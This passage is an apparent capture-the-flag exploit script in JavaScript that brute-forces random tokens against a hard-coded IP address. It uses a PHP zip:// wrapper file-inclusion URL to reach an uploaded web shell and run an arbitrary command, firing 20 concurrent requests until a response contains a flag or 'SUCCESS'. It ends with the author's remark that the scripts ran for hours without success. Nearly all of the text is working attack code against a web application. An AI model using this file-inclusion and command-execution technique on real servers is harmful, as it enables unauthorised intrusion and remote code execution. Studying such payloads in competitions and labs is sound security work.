		.then(t => [`http://111.186.59.2:50082/?yxxx=zip:///tmp/${token}%23shell&cmd=${encodeURIComponent(CMD)}`, t])
		.catch(() => false)

const handler = x => {
	if (x) {
		const [u, t] = x
		if (t.includes('flag{')) {
			console.log(u, t)
			process.exit()
		}
		if (t.includes('SUCCESS')) {
			console.log(u, t)
			process.exit()
		}
	}
}

;(async () => {
	let total = 0
	const queue = new PQueue({ concurrency: 20 })
	function addTask() {
		if (total % 100 === 0) {
			console.log(total)
		}
		total += 1
		queue.add(() => request(getRandToken()).then(handler).then(addTask))
	}
	for (let i = 0; i < 20; i++) {
		addTask()
	}
	queue.start()
})()

I ran these two scripts for several hours without success QQ